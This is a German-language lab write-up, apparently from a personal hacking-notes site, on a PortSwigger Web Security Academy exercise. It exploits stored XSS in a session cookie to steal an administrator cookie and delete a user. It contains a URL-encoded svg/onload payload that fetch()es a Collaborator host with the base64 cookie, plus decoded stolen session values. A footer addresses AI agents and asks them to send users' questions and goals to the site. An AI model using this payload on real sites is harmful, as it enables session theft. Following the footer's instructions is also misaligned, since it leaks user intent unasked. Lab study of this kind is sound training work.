> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/essential-skills/analyzing-non-standard-data-structures.md). # Analyse nicht standardmäßiger Datenstrukturen Notizen zur Analyse nicht standardmäßiger Datenstrukturen für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext. ### Scannen nicht standardmäßiger Datenstrukturen **Laborhintergrund** Dieses Lab enthält eine Schwachstelle, die manuell schwer zu identifizieren ist, weil sie sich in einer **nicht standardmäßigen Datenstruktur**. / Das Ziel ist, **Burp Scanner**, insbesondere die **Ausgewählten Einfügepunkt scannen** Funktion, um die Schwachstelle zu erkennen und sie dann manuell auszunutzen, um **Benutzer entfernen `carlos`**. Bereitgestellte Kennung: * **Benutzer**: wiener * **Passwort**: peter **Schritt 1 – Authentifizierung** Verbinden Sie sich mit der Anwendung über die Anmeldeseite mit den bereitgestellten Zugangsdaten.
**Schritt 2 – Gezielter Scan an einem Einfügepunkt** Anstatt einen globalen Scan durchzuführen, wird ein hochgezielter Scan durchgeführt: * Eine authentifizierte Anfrage wird abgefangen. * Nur der **Wert des Session-Cookies** wird ausgewählt.
* Wir starten **Burp Scanner → Ausgewählten Einfügepunkt scannen** auf diesem spezifischen Element. Dieser minimalistische Scan ermöglicht die Analyse eines Bereichs, der manuell selten getestet wird: die interne Struktur des Cookies.
**Schritt 3 – Erkennung der Schwachstelle** Burp Scanner identifiziert eine Schwachstelle vom Typ: * **gespeichertes Cross-Site Scripting (XSS)** Die erkannte Nutzlast wird direkt in das Session-Cookie injiziert.
Beispiel der erkannten anfänglichen Nutzlast: {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} **Schritt 4 – Ausleiten des Cookies über Burp Collaborator** Wir passen die Nutzlast an, um `document.cookie` Inhalt an unseren Collaborator-Server zu senden, kodiert in Base64: {% code overflow="wrap" %} ```bash Cookie: session='">:7eQqV1q8zph4P71fADS843xTb5B9ev5V ``` {% endcode %} Dann **URL-kodieren** die Nutzlast vor dem Einfügen: ```bash '%22%3e%3csvg%2fonload%3dfetch(%60%2f%2fuqo5wxufqik239ij6afcc710crik6hu6%5c.oastify.com%2f%24%7bbtoa(document.cookie)%7d%60)%3e%3a7eQqV1q8zph4P71fADS843xTb5B9ev5V ```
**Schritt 5 – Wiederherstellung und Dekodierung des Admin-Cookies** Der Collaborator-Server erhält eine Anfrage, die das in Base64 kodierte Cookie enthält: ```bash GET /c2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY7IHNlY3JldD1TTjhvd081cHQ3d2Zsb2IxVkhSWG11U2E1YmI4MmlHWDsgc2Vzc2lvbj1hZG1pbmlzdHJhdG9yJTNhelJETWFQTzlaZHhiMGdvZ1NMOTJFMVFOeFFncVQ1dHY= ``` Nach der Dekodierung erhalten wir: ```bash session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv; secret=SN8owO5pt7wflob1VHRXmuSa5bb82iGX; session=administrator%3azRDMaPO9Zdxb0gogSL92E1QNxQgqT5tv ```
**Schritt 6 – Administratorzugriff und abschließende Aktion** Unter Verwendung des Admin-Session-Cookies: * Die Oberfläche **admin** wird aufgerufen. * Eine interne Seite von **Protokolle** ist erreichbar. * Diese Seite zeigte Cookies ohne Filterung an, was die Persistenz des **gespeicherten XSS**. * Anschließend ist es möglich, den Benutzer zu entfernen **carlos** und das Lab zu validieren.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/web/essential-skills/analyzing-non-standard-data-structures.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.